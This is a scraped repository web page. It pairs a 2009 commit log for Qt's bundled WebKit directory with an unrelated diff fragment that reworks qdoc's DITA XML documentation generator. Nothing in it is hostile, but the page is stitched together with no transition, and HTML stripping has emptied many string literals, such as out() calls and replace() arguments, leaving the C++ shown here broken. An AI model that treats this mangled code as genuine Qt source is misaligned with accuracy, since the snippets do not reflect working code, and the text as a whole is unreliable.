summaryrefslogtreecommitdiffstats
path: root/src/3rdparty/webkit
Commit message (Expand)AuthorAgeFilesLines
* Doc: there is no group of explicitly shared classes, only one class uses this.Volker Hilsheimer2009-07-301-4/+11
* compile on QNXHarald Fernengel2009-07-291-1/+2
* Doc: fix links to the examplesVolker Hilsheimer2009-07-291-2/+3
* Port of Qt to QNXHarald Fernengel2009-07-294-2/+53
* Updated WebKit from /home/shausman/src/webkit/trunk to qtwebkit-4.6-snapshot-...Simon Hausmann2009-07-291377-19577/+41002
* "enabled" parameter should default to true, as with QGraphicsView andVolker Hilsheimer2009-07-272-1/+3
* Doc: Fixed qdoc warningsDavid Boddie2009-07-231-1/+1
* Doc: Updated link and a bit more documentation forVolker Hilsheimer2009-07-212-10/+26
* Doc: fix formatting of lists.Volker Hilsheimer2009-07-201-12/+17
* Doc: A few cleanups, fixes and improvements.Volker Hilsheimer2009-07-191-1/+1
* Doc: add \since 4.6 for new APIsVolker Hilsheimer2009-07-191-0/+2
* remove lots of warnings with mingwThierry Bastian2009-07-151-1/+1
* Updated WebKit from /home/shausman/src/webkit/trunk to qtwebkit-4.6-snapshot-...Simon Hausmann2009-07-13902-5881/+22556
* Removed two generated files.Simon Hausmann2009-07-132-43/+0
* Merge commit 'origin/4.5'Oswald Buddenhagen2009-07-137-8/+60
|\
| * Updated WebKit from /home/shausman/src/webkit/trunk to origin/qtwebkit-4.5 ( ...Simon Hausmann2009-07-1318-2040/+3375
* | Re-apply change bd7c123dc88908f41e6c0eccb9b03f9684e5ca27 by Thiago MacieiraThiago Macieira2009-06-293-11/+9
* | Re-apply change 353dcfd307853da289fdd245410e2e07358624a0 by Friedemann KleintFriedemann Kleint2009-06-291-1/+16
* | Updated WebKit from /home/shausman/src/webkit/trunk to qtwebkit-4.6-snapshot-...Simon Hausmann2009-06-29232-1619/+6414
* | Silenced a warning caused by (apparently) a gcc 4.3 bug:Thiago Macieira2009-06-263-11/+9
* | Merge branch '4.5'Thiago Macieira2009-06-261-0/+9
|\ \ | |/
| * Updated WebKit from /home/shausman/src/webkit/trunk to origin/qtwebkit-4.5 ( ...Simon Hausmann2009-06-253-1/+24
* | Re-apply change 89e6d626f1e23858735659a1596408cd7a521c02 by Friedemann KleintFriedemann Kleint2009-06-241-1/+16
* | Updated WebKit from /home/shausman/src/webkit/trunk to qtwebkit-4.6-snapshot-...Simon Hausmann2009-06-241034-144651/+165637
* | Merge branch '4.5' of scm.dev.nokia.troll.no:qt/qtSimon Hausmann2009-06-231-5/+4
|\ \ | |/
| * Updated WebKit from /home/shausman/src/webkit/trunk to origin/qtwebkit-4.5 ( ...Simon Hausmann2009-06-234-6/+52
* | Merge commit 'origin/4.5'Oswald Buddenhagen2009-06-231-1/+4
|\ \ | |/
| * Fix compilation after the last change.Thiago Macieira2009-06-231-1/+4
| * Updated WebKit from /home/shausman/src/webkit/trunk to origin/qtwebkit-4.5 ( ...Simon Hausmann2009-06-19657-2109/+2509
| * Backported WebKit SVG revisions (r43590, r43795) from the trunkSimon Hausmann2009-06-163-2/+34
* | QWebPage: Don't call supportsSsl()Markus Goetz2009-06-171-2/+6
* | Commented out code that breaks MinGW.Friedemann Kleint2009-06-171-1/+16
* | Fixed MinGW compilation.Friedemann Kleint2009-06-171-1/+1
* | Updated WebKit from /home/shausman/src/webkit/trunk to origin/qtwebkit-4.6-st...Simon Hausmann2009-06-166-15/+48
* | Updated WebKit from /home/shausman/src/webkit/trunk to qtwebkit-4.6-snapshot-...Simon Hausmann2009-06-152798-92516/+236605
* | Doc: Fixed QWebPage::forwardUnsupportedContent documentation and addedDavid Boddie2009-06-093-11/+22
* | All of Qt's own code compiles with -pedantic now (but pcre and webkit don't s...David Faure2009-06-041-1/+1
* | improved string operations all over the placeThierry Bastian2009-05-284-9/+9
* | Merge branch '4.5' of git@scm.dev.nokia.troll.no:qt/qtSimon Hausmann2009-05-271-2/+3
|\ \ | |/
| * Clearifying QWebFrame docsMorten Engvoldsen2009-05-261-2/+3
* | Merge branch '4.5'Thiago Macieira2009-05-227-6/+70
|\ \ | |/
| * Updated WebKit from /home/ariya/dev/webkit/qtwebkit-4.5 to origin/qtwebkit-4....Ariya Hidayat2009-05-227-6/+70
* | Merge branch '4.5' of ../qt-45-documentationDavid Boddie2009-05-203-1/+15
|\ \ | |/
| * Updated WebKit from /home/ariya/dev/webkit/qtwebkit-4.5 to origin/qtwebkit-4....Ariya Hidayat2009-05-193-1/+15
| * Revert commit a372fc602a3cb09379875ced99ec969c371917d7.Ariya Hidayat2009-05-196-695/+1645
| * Updated WebKit from /home/ariya/dev/webkit/qtwebkit-4.5 to origin/qtwebkit-4....Ariya Hidayat2009-05-196-1645/+695
* | Merge branch '4.5' of git@scm.dev.nokia.troll.no:qt/qtSimon Hausmann2009-05-1911-20/+202
|\ \ | |/
| * Updated WebKit from /home/ariya/dev/webkit/qtwebkit-4.5 to origin/qtwebkit-4....Ariya Hidayat2009-05-193-11/+41
| * Updated WebKit from /home/ariya/dev/webkit/qtwebkit-4.5 to origin/qtwebkit-4....Ariya Hidayat2009-05-189-10/+162
* | Merge branch '4.5' of git@scm.dev.troll.no:qt/qtSimon Hausmann2009-04-253-2/+10
|\ \ | |/
cxxClass.dtd"; version = "0.6.0"; + doctype = ""; + } + else if (node->type() == Node::Fake) { + if (node->subType() == Node::Page) { + element = "topic"; + dtd = "dtd/topic.dtd"; + doctype = ""; + } } - QString doctype = ""; writer.writeDTD(doctype); writer.writeComment(node->doc().location().fileName()); } @@ -1989,7 +1869,7 @@ void DitaXmlGenerator::generateTitle(const QString& title, } /*! - Outputs the brief command as a element. */ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { @@ -2006,11 +1886,10 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) void DitaXmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) { if (!inner->includes().isEmpty()) { - out() << "
"
-              << trimmedTrailing(highlightedCode(indent(codeIndent,
-                                                        marker->markedUpIncludes(inner->includes())),
-                                                 marker,inner))
-              << "
"; + writer.writeStartElement("pree"); + writer.writeAttribute("outputclass","highlightedcode"); + writeText(marker->markedUpIncludes(inner->includes()), marker, inner); + writer.writeEndElement(); // } } @@ -2532,19 +2411,27 @@ void DitaXmlGenerator::generateCompactList(const Node *relative, Output the alphabet as a row of links. */ if (includeAlphabet) { - out() << "

"; + writer.writeStartElement("p"); + writer.writeAttribute("outputclass","centerAlign functionIndex"); + writer.writeStartElement("b"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); - if (usedParagraphNames.contains(char('a' + i))) - out() << QString("%2 ").arg(ch).arg(ch.toUpper()); + if (usedParagraphNames.contains(char('a' + i))) { + writer.writeStartElement("xref"); + writer.writeAttribute("href",QString("#%1").arg(ch)); + writer.writeCharacters(QString(ch.toUpper())); + writer.writeEndElement(); // + } } - out() << "

\n"; + writer.writeEndElement(); // + writer.writeEndElement(); //

} /* - Output a
element to contain all the
elements. + Output a

element to contain all the

elements. */ - out() << "
\n"; + writer.writeStartElement("p"); + writer.writeAttribute("outputclass","compactlist flowListDiv"); for (int i=0; i. */ if (curParOffset == 0) { - if (i > 0) - out() << "
\n"; + if (i > 0) { + writer.writeEndElement(); // + writer.writeEndElement(); //
+ } + writer.writeStartElement("dl"); if (++numTableRows % 2 == 1) - out() << "
"; + writer.writeAttribute("outputclass","flowList odd"); else - out() << "
"; - out() << "
"; + writer.writeAttribute("outputclass","flowList even"); + writer.writeStartElement("dlentry"); + writer.writeStartElement("dt"); + writer.writeAttribute("outputclass","alphaChar"); if (includeAlphabet) { QChar c = paragraphName[curParNr][0].toLower(); - out() << QString("").arg(c); + writer.writeStartElement("a"); + writer.writeAttribute("name",c); } - out() << "" - << paragraphName[curParNr] - << ""; - out() << "
\n"; + writer.writeStartElement("b"); + writer.writeCharacters(paragraphName[curParNr]); + writer.writeEndElement(); // + writer.writeEndElement(); // } /* Output a
for the current offset in the current paragraph. */ - out() << "
"; + writer.writeStartElement("dd"); if ((curParNr < NumParagraphs) && !paragraphName[curParNr].isEmpty()) { NodeMap::Iterator it; @@ -2589,26 +2482,28 @@ void DitaXmlGenerator::generateCompactList(const Node *relative, Previously, we used generateFullName() for this, but we require some special formatting. */ - out() << ""; + writer.writeStartElement("xref"); + writer.writeAttribute("href",linkForNode(it.value(), relative)); QStringList pieces; if (it.value()->subType() == Node::QmlClass) pieces << it.value()->name(); else pieces = fullName(it.value(), relative, marker).split("::"); - out() << protectEnc(pieces.last()); - out() << ""; + writer.writeCharacters(protectEnc(pieces.last())); + writer.writeEndElement(); // if (pieces.size() > 1) { - out() << " ("; - generateFullName(it.value()->parent(), relative, marker); - out() << ")"; + writer.writeCharacters(" ("); + generateFullName(it.value()->parent(),relative,marker); + writer.writeCharacters(")"); } } - out() << "
\n"; + writer.writeEndElement(); // curParOffset++; } - out() << "
\n"; - out() << "
\n"; + writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); //

} void DitaXmlGenerator::generateFunctionIndex(const Node *relative, @@ -2624,16 +2519,10 @@ void DitaXmlGenerator::generateFunctionIndex(const Node *relative, char nextLetter = 'a'; char currentLetter; -#if 1 out() << "\n"; -#endif } void DitaXmlGenerator::generateLegaleseList(const Node *relative, @@ -2680,45 +2563,6 @@ void DitaXmlGenerator::generateLegaleseList(const Node *relative, } } -/*void DitaXmlGenerator::generateSynopsis(const Node *node, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style) -{ - QString marked = marker->markedUpSynopsis(node, relative, style); - QRegExp templateTag("(<[^@>]*>)"); - if (marked.indexOf(templateTag) != -1) { - QString contents = protectEnc(marked.mid(templateTag.pos(1), - templateTag.cap(1).length())); - marked.replace(templateTag.pos(1), templateTag.cap(1).length(), - contents); - } - marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])"), - "\\1\\2"); - marked.replace("<@param>", ""); - marked.replace("", ""); - - if (style == CodeMarker::Summary) - marked.replace("@name>", "b>"); - - if (style == CodeMarker::SeparateList) { - QRegExp extraRegExp("<@extra>.*"); - extraRegExp.setMinimal(true); - marked.replace(extraRegExp, ""); - } - else { - marked.replace("<@extra>", "  "); - marked.replace("", ""); - } - - if (style != CodeMarker::Detailed) { - marked.replace("<@type>", ""); - marked.replace("", ""); - } - out() << highlightedCode(marked, marker, relative); -}*/ - -#ifdef QDOC_QML void DitaXmlGenerator::generateQmlItem(const Node *node, const Node *relative, CodeMarker *marker, @@ -2747,9 +2591,8 @@ void DitaXmlGenerator::generateQmlItem(const Node *node, marked.replace("<@type>", ""); marked.replace("", ""); } - out() << highlightedCode(marked, marker, relative); + writeText(marked, marker, relative); } -#endif void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * /* marker */) { @@ -2882,13 +2725,24 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, name_alignment = false; } if (name_alignment) { - out() << "\n"; + writer.writeStartElement("table"); + writer.writeAttribute("outputclass","alignedsummary"); + writer.writeStartElement("tgroup"); + writer.writeAttribute("cols","2"); + writer.writeStartElement("tbody"); } else { - if (twoColumn) - out() << "
\n" - << "\n"; - else - out() << "\n"; + QString marked = getMarkedUpSynopsis(*m, relative, marker, style); + writeText(marked, marker, relative, name_alignment); + if (name_alignment) { + writer.writeEndElement(); // + writer.writeEndElement(); // + } + else { + writer.writeEndElement(); // + } i++; ++m; } - if (name_alignment) - out() << "
"; - out() << "
    \n"; + if (twoColumn) { + writer.writeStartElement("table"); + writer.writeAttribute("outputclass","propsummary"); + writer.writeStartElement("tgroup"); + writer.writeAttribute("cols","1"); + writer.writeStartElement("tbody"); + writer.writeStartElement("row"); + writer.writeStartElement("entry"); + writer.writeAttribute("outputclass","topAlign"); + } + writer.writeStartElement("ul"); } int i = 0; @@ -2900,28 +2754,48 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, } if (name_alignment) { - out() << "
"; + writer.writeStartElement("row"); + writer.writeStartElement("entry"); + writer.writeAttribute("outputclass","memItemLeft rightAlign topAlign"); } else { - if (twoColumn && i == (int) (nl.count() + 1) / 2) - out() << "
    \n"; - out() << "
  • "; + if (twoColumn && i == (int) (nl.count() + 1) / 2) { + writer.writeEndElement(); //
+ writer.writeEndElement(); // + writer.writeStartElement("entry"); + writer.writeAttribute("outputclass","topAlign"); + writer.writeStartElement("ul"); + } + writer.writeStartElement("li"); + writer.writeAttribute("outputclass","fn"); } - generateSynopsis(*m, relative, marker, style, name_alignment); - if (name_alignment) - out() << "
\n"; + if (name_alignment) { + writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // + } else { - out() << "\n"; - if (twoColumn) - out() << "\n\n"; + writer.writeEndElement(); // + if (twoColumn) { + writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // + } } } } @@ -2969,7 +2843,8 @@ void DitaXmlGenerator::generateSectionList(const Section& section, out() << "
  • "; } - generateSynopsis(*m, relative, marker, style, name_alignment); + QString marked = getMarkedUpSynopsis(*m, relative, marker, style); + writeText(marked, marker, relative, name_alignment); if (name_alignment) out() << "\n"; else @@ -3019,51 +2894,58 @@ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, } } -void DitaXmlGenerator::generateSynopsis(const Node *node, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style, - bool nameAlignment) +/*! + Get the synopsis from the \a node using the \a relative + node if needed, and mark up the synopsis using \a marker. + Use the style to decide which kind of sysnopsis to build, + normally \c Summary or \c Detailed. Return the marked up + string. + */ +QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, + const Node* relative, + CodeMarker* marker, + CodeMarker::SynopsisStyle style) { QString marked = marker->markedUpSynopsis(node, relative, style); QRegExp templateTag("(<[^@>]*>)"); if (marked.indexOf(templateTag) != -1) { QString contents = protectEnc(marked.mid(templateTag.pos(1), - templateTag.cap(1).length())); - marked.replace(templateTag.pos(1), templateTag.cap(1).length(), - contents); + templateTag.cap(1).length())); + marked.replace(templateTag.pos(1), + templateTag.cap(1).length(), + contents); } marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])"), "\\1\\2"); - marked.replace("<@param>", ""); - marked.replace("", ""); + marked.replace("<@param>",""); + marked.replace("",""); if (style == CodeMarker::Summary) { - marked.replace("<@name>", ""); // was "" - marked.replace("", ""); // was "" + marked.replace("<@name>",""); // was "" + marked.replace("",""); // was "" } if (style == CodeMarker::SeparateList) { QRegExp extraRegExp("<@extra>.*"); extraRegExp.setMinimal(true); - marked.replace(extraRegExp, ""); - } else { - marked.replace("<@extra>", ""); - marked.replace("", ""); + marked.replace(extraRegExp,""); + } + else { + marked.replace("<@extra>",""); + marked.replace("",""); } if (style != CodeMarker::Detailed) { - marked.replace("<@type>", ""); - marked.replace("", ""); + marked.replace("<@type>",""); + marked.replace("",""); } - out() << highlightedCode(marked, marker, relative, style, nameAlignment); + return marked; } -QString DitaXmlGenerator::highlightedCode(const QString& markedCode, - CodeMarker *marker, - const Node *relative, - CodeMarker::SynopsisStyle , - bool nameAlignment) +void DitaXmlGenerator::writeText(const QString& markedCode, + CodeMarker* marker, + const Node* relative, + bool nameAlignment) { QString src = markedCode; QString html; @@ -3079,7 +2961,13 @@ QString DitaXmlGenerator::highlightedCode(const QString& markedCode, for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') { if (nameAlignment && !done) {// && (i != 0)) Why was this here? - html += ""; + if (!html.isEmpty()) { + writer.writeCharacters(html); + html.clear(); + } + writer.writeEndElement(); // + writer.writeStartElement("entry"); + writer.writeAttribute("outputclass=","memItemRight bottomAlign"); done = true; } i += 2; @@ -3100,36 +2988,6 @@ QString DitaXmlGenerator::highlightedCode(const QString& markedCode, } } - - if (slow) { - // is this block ever used at all? - // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()" - src = html; - html = QString(); - static const QString funcTag("func"); - for (int i = 0, n = src.size(); i < n;) { - if (src.at(i) == charLangle && src.at(i + 1) == charAt) { - i += 2; - if (parseArg(src, funcTag, &i, n, &arg, &par1)) { - QString link = linkForNode( - marker->resolveTarget(par1.toString(), - myTree, - relative), - relative); - addLink(link, arg, &html); - par1 = QStringRef(); - } - else { - html += charLangle; - html += charAt; - } - } - else { - html += src.at(i++); - } - } - } - // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()" tags src = html; html = QString(); @@ -3225,8 +3083,8 @@ QString DitaXmlGenerator::highlightedCode(const QString& markedCode, ++i; } } - - return html; + if (!html.isEmpty()) + writer.writeCharacters(html); } void DitaXmlGenerator::generateLink(const Atom* atom, @@ -3406,29 +3264,6 @@ QString DitaXmlGenerator::fileBase(const Node *node) return result; } -#if 0 -QString DitaXmlGenerator::fileBase(const Node *node, - const SectionIterator& section) -{ - QStringList::ConstIterator s = section.sectionNumber().end(); - QStringList::ConstIterator b = section.baseNameStack().end(); - - QString suffix; - QString base = fileBase(node); - - while (s != section.sectionNumber().begin()) { - --s; - --b; - if (!(*b).isEmpty()) { - base = *b; - break; - } - suffix.prepend("-" + *s); - } - return base + suffix; -} -#endif - QString DitaXmlGenerator::fileName(const Node *node) { if (node->type() == Node::Fake) { @@ -3474,23 +3309,19 @@ QString DitaXmlGenerator::refForNode(const Node *node) ref += "-" + QString::number(func->overloadNumber()); } break; -#ifdef QDOC_QML case Node::Fake: if (node->subType() != Node::QmlPropertyGroup) break; case Node::QmlProperty: -#endif case Node::Property: ref = node->name() + "-prop"; break; -#ifdef QDOC_QML case Node::QmlSignal: ref = node->name() + "-signal"; break; case Node::QmlMethod: ref = node->name() + "-method"; break; -#endif case Node::Variable: ref = node->name() + "-var"; break; @@ -3542,59 +3373,54 @@ QString DitaXmlGenerator::refForAtom(Atom *atom, const Node * /* node */) } } -void DitaXmlGenerator::generateFullName(const Node *apparentNode, - const Node *relative, - CodeMarker *marker, - const Node *actualNode) +void DitaXmlGenerator::generateFullName(const Node* apparentNode, + const Node* relative, + CodeMarker* marker, + const Node* actualNode) { if (actualNode == 0) actualNode = apparentNode; - out() << "status() != actualNode->status()) { switch (actualNode->status()) { case Node::Obsolete: - out() << "\" class=\"obsolete"; + writer.writeAttribute("outputclass","obsolete"); break; case Node::Compat: - out() << "\" class=\"compat"; + writer.writeAttribute("outputclass","compat"); break; default: ; } } - out() << "\">"; - out() << protectEnc(fullName(apparentNode, relative, marker)); - out() << ""; + writer.writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); + writer.writeEndElement(); // } -void DitaXmlGenerator::generateDetailedMember(const Node *node, - const InnerNode *relative, - CodeMarker *marker) +void DitaXmlGenerator::generateDetailedMember(const Node* node, + const InnerNode* relative, + CodeMarker* marker) { - const EnumNode *enume; + QString marked; + const EnumNode* en; -#ifdef GENERATE_MAC_REFS - generateMacRef(node, marker); -#endif - if (node->type() == Node::Enum - && (enume = static_cast(node))->flagsType()) { -#ifdef GENERATE_MAC_REFS - generateMacRef(enume->flagsType(), marker); -#endif + if ((node->type() == Node::Enum) && + (en = static_cast(node))->flagsType()) { out() << "

    "; out() << ""; - generateSynopsis(enume, relative, marker, CodeMarker::Detailed); + marked = getMarkedUpSynopsis(en, relative, marker, CodeMarker::Detailed); + writeText(marked, marker, relative); out() << "
    "; - generateSynopsis(enume->flagsType(), - relative, - marker, - CodeMarker::Detailed); + marked = getMarkedUpSynopsis(en->flagsType(),relative,marker,CodeMarker::Detailed); + writeText(marked,marker,relative); out() << "

    \n"; } else { out() << "

    "; out() << ""; - generateSynopsis(node, relative, marker, CodeMarker::Detailed); + marked = getMarkedUpSynopsis(node,relative,marker,CodeMarker::Detailed); + writeText(marked,marker,relative); out() << "

    \n"; } @@ -3626,14 +3452,14 @@ void DitaXmlGenerator::generateDetailedMember(const Node *node, } } else if (node->type() == Node::Enum) { - const EnumNode *enume = static_cast(node); - if (enume->flagsType()) { - out() << "

    The " << protectEnc(enume->flagsType()->name()) + en = static_cast(node); + if (en->flagsType()) { + out() << "

    The " << protectEnc(en->flagsType()->name()) << " type is a typedef for " << "QFlags<" - << protectEnc(enume->name()) + << protectEnc(en->name()) << ">. It stores an OR combination of " - << protectEnc(enume->name()) + << protectEnc(en->name()) << " values.

    \n"; } } @@ -3694,8 +3520,8 @@ void DitaXmlGenerator::findAllClasses(const InnerNode *node) } /*! - For generating the "New Classes... in 4.6" section on the - What's New in 4.6" page. + For generating the "New Classes... in 4.x" section on the + What's New in 4.x" page. */ void DitaXmlGenerator::findAllSince(const InnerNode *node) { @@ -3757,13 +3583,6 @@ void DitaXmlGenerator::findAllSince(const InnerNode *node) } } -#if 0 - const QRegExp versionSeparator("[\\-\\.]"); - const int minorIndex = version.indexOf(versionSeparator); - const int patchIndex = version.indexOf(versionSeparator, minorIndex+1); - version = version.left(patchIndex); -#endif - void DitaXmlGenerator::findAllFunctions(const InnerNode *node) { NodeList::ConstIterator c = node->childNodes().begin(); @@ -3835,12 +3654,6 @@ int DitaXmlGenerator::hOffset(const Node *node) return 2; case Node::Fake: return 1; -#if 0 - if (node->doc().briefText().isEmpty()) - return 1; - else - return 2; -#endif case Node::Enum: case Node::Typedef: case Node::Function: @@ -3986,14 +3799,6 @@ QString DitaXmlGenerator::getLink(const Atom *atom, << (*node)->name() << "no relative"; } } -#if 0 - else if ((*node)->status() == Node::Deprecated) { - qDebug() << "Link to Deprecated entity"; - } - else if ((*node)->status() == Node::Internal) { - qDebug() << "Link to Internal entity"; - } -#endif } while (!path.isEmpty()) { @@ -4070,21 +3875,6 @@ void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker) } } -#ifdef GENERATE_MAC_REFS -/* - No longer valid. - */ -void DitaXmlGenerator::generateMacRef(const Node *node, CodeMarker *marker) -{ - if (!pleaseGenerateMacRef || marker == 0) - return; - - QStringList macRefs = marker->macRefsForNode(node); - foreach (const QString &macRef, macRefs) - out() << "\n"; -} -#endif - void DitaXmlGenerator::beginLink(const QString &link, const Node *node, const Node *relative, @@ -4143,8 +3933,6 @@ void DitaXmlGenerator::endLink() inObsoleteLink = false; } -#ifdef QDOC_QML - /*! Generates the summary for the \a section. Only used for sections of QML element documentation. @@ -4196,10 +3984,8 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node *node, const InnerNode *relative, CodeMarker *marker) { + QString marked; const QmlPropertyNode* qpn = 0; -#ifdef GENERATE_MAC_REFS - generateMacRef(node, marker); -#endif out() << "
    "; if (node->subType() == Node::QmlPropertyGroup) { const QmlPropGroupNode* qpgn = static_cast(node); @@ -4242,7 +4028,8 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node *node, out() << ""; out() << "

    "; out() << ""; - generateSynopsis(qsn,relative,marker,CodeMarker::Detailed,false); + marked = getMarkedUpSynopsis(qsn, relative, marker, CodeMarker::Detailed); + writeText(marked, marker, relative); //generateQmlItem(qsn,relative,marker,false); out() << "

    "; out() << ""; @@ -4259,7 +4046,8 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node *node, out() << ""; out() << "

    "; out() << ""; - generateSynopsis(qmn,relative,marker,CodeMarker::Detailed,false); + marked = getMarkedUpSynopsis(qmn, relative, marker, CodeMarker::Detailed); + writeText(marked, marker, relative); out() << "

    "; out() << ""; out() << "
    "; @@ -4510,8 +4298,6 @@ void DitaXmlGenerator::generatePageIndex(const QString& fileName, CodeMarker* ma file.close(); } -#endif - /*! Return the full qualification of the node \a n, but without the name of \a n itself. e.g. A::B::C @@ -4537,6 +4323,26 @@ QString DitaXmlGenerator::fullQualification(const Node* n) return fq; } +/*! + Outputs the element. + \code + + + ... + + ... + + \endcode + + The element is: + + \code + + + Base + + \endcode + */ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) { QList::ConstIterator r; @@ -4551,17 +4357,31 @@ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) writer.writeStartElement(CXXCLASSDERIVATIONACCESSSPECIFIER); writer.writeAttribute("value",(*r).accessString()); writer.writeEndElement(); // + + // not included: + writer.writeStartElement(CXXCLASSBASECLASS); writer.writeAttribute("href",(*r).node->ditaXmlHref()); writer.writeCharacters(marker->plainFullName((*r).node)); writer.writeEndElement(); // + + // not included: or + writer.writeEndElement(); // + + // not included: + ++r; } writer.writeEndElement(); // } } +/*! + Writes a element, depending on the + type of the node \a n, which can be a class, function, enum, + typedef, or property. + */ void DitaXmlGenerator::writeLocation(const Node* n) { QString s1, s2, s3; @@ -4601,9 +4421,16 @@ void DitaXmlGenerator::writeLocation(const Node* n) QString lineNr; writer.writeAttribute("value",lineNr.setNum(n->location().lineNo())); writer.writeEndElement(); // DeclarationFileLine> + + // not included: , , + // and + writer.writeEndElement(); // ApiItemLocation> } +/*! + Write the elements. + */ void DitaXmlGenerator::writeFunctions(const Section& s, const ClassNode* cn, CodeMarker* marker) @@ -4615,28 +4442,42 @@ void DitaXmlGenerator::writeFunctions(const Section& s, writer.writeStartElement(CXXFUNCTION); writer.writeAttribute("id",fn->guid()); writer.writeStartElement(APINAME); + if (fn->metaness() == FunctionNode::Signal) + writer.writeAttribute("class","signal"); + else if (fn->metaness() == FunctionNode::Slot) + writer.writeAttribute("class","slot"); writer.writeCharacters(fn->name()); writer.writeEndElement(); // generateBrief(fn,marker); + + // not included: + writer.writeStartElement(CXXFUNCTIONDETAIL); writer.writeStartElement(CXXFUNCTIONDEFINITION); writer.writeStartElement(CXXFUNCTIONACCESSSPECIFIER); writer.writeAttribute("value",fn->accessString()); writer.writeEndElement(); // + // not included: + if (fn->isStatic()) { writer.writeStartElement(CXXFUNCTIONSTORAGECLASSSPECIFIERSTATIC); writer.writeAttribute("name","static"); writer.writeAttribute("value","static"); writer.writeEndElement(); // } - + + // not included: , + if (fn->isConst()) { writer.writeStartElement(CXXFUNCTIONCONST); writer.writeAttribute("name","const"); writer.writeAttribute("value","const"); writer.writeEndElement(); // } + + // not included: + // virtualness() != FunctionNode::NonVirtual) { writer.writeStartElement(CXXFUNCTIONVIRTUAL); @@ -4668,6 +4509,9 @@ void DitaXmlGenerator::writeFunctions(const Section& s, writer.writeCharacters(fn->returnType()); writer.writeEndElement(); // } + + // not included: + QString fq = fullQualification(fn); if (!fq.isEmpty()) { writer.writeStartElement(CXXFUNCTIONSCOPEDNAME); @@ -4707,6 +4551,9 @@ void DitaXmlGenerator::writeFunctions(const Section& s, } writer.writeEndElement(); // + + // not included: ,
    , or + writer.writeEndElement(); // writer.writeEndElement(); // @@ -4719,6 +4566,9 @@ void DitaXmlGenerator::writeFunctions(const Section& s, } } +/*! + This function writes the element. + */ void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marker) { const QList& parameters = fn->parameters(); @@ -4735,11 +4585,17 @@ void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marke writer.writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME); writer.writeCharacters((*p).name()); writer.writeEndElement(); // + + // not included: + if (!(*p).defaultValue().isEmpty()) { writer.writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE); writer.writeCharacters((*p).defaultValue()); writer.writeEndElement(); // } + + // not included: + writer.writeEndElement(); // ++p; } @@ -4747,6 +4603,9 @@ void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marke } } +/*! + This function writes the enum types. + */ void DitaXmlGenerator::writeEnumerations(const Section& s, const ClassNode* cn, CodeMarker* marker) @@ -4761,6 +4620,9 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, writer.writeCharacters(en->name()); writer.writeEndElement(); // generateBrief(en,marker); + + // not included + writer.writeStartElement(CXXENUMERATIONDETAIL); writer.writeStartElement(CXXENUMERATIONDEFINITION); writer.writeStartElement(CXXENUMERATIONACCESSSPECIFIER); @@ -4797,6 +4659,8 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, writer.writeCharacters(en->parent()->name() + "::" + en->name()); writer.writeEndElement(); // + // not included: + if (!items.isEmpty()) { writer.writeStartElement(CXXENUMERATORS); QList::ConstIterator i = items.begin(); @@ -4824,6 +4688,9 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, writer.writeAttribute("value", (*i).value()); writer.writeEndElement(); // } + + // not included: + if (!(*i).text().isEmpty()) { writer.writeStartElement(APIDESC); generateText((*i).text(), en, marker); @@ -4844,13 +4711,22 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, } writer.writeEndElement(); // + + // not included: ,
    , or + writer.writeEndElement(); // + + // not included: + writer.writeEndElement(); // } ++m; } } +/*! + This function writes the output for the \typedef commands. + */ void DitaXmlGenerator::writeTypedefs(const Section& s, const ClassNode* cn, CodeMarker* marker) @@ -4865,22 +4741,32 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, writer.writeCharacters(tn->name()); writer.writeEndElement(); // generateBrief(tn,marker); + + // not included: + writer.writeStartElement(CXXTYPEDEFDETAIL); writer.writeStartElement(CXXTYPEDEFDEFINITION); writer.writeStartElement(CXXTYPEDEFACCESSSPECIFIER); writer.writeAttribute("value",tn->accessString()); writer.writeEndElement(); // + // not included: + QString fq = fullQualification(tn); if (!fq.isEmpty()) { writer.writeStartElement(CXXTYPEDEFSCOPEDNAME); writer.writeCharacters(fq); writer.writeEndElement(); // } + + // not included: + writer.writeStartElement(CXXTYPEDEFNAMELOOKUP); writer.writeCharacters(tn->parent()->name() + "::" + tn->name()); writer.writeEndElement(); // - + + // not included: + writeLocation(tn); writer.writeEndElement(); // writer.writeStartElement(APIDESC); @@ -4890,13 +4776,23 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, } writer.writeEndElement(); // + + // not included: ,
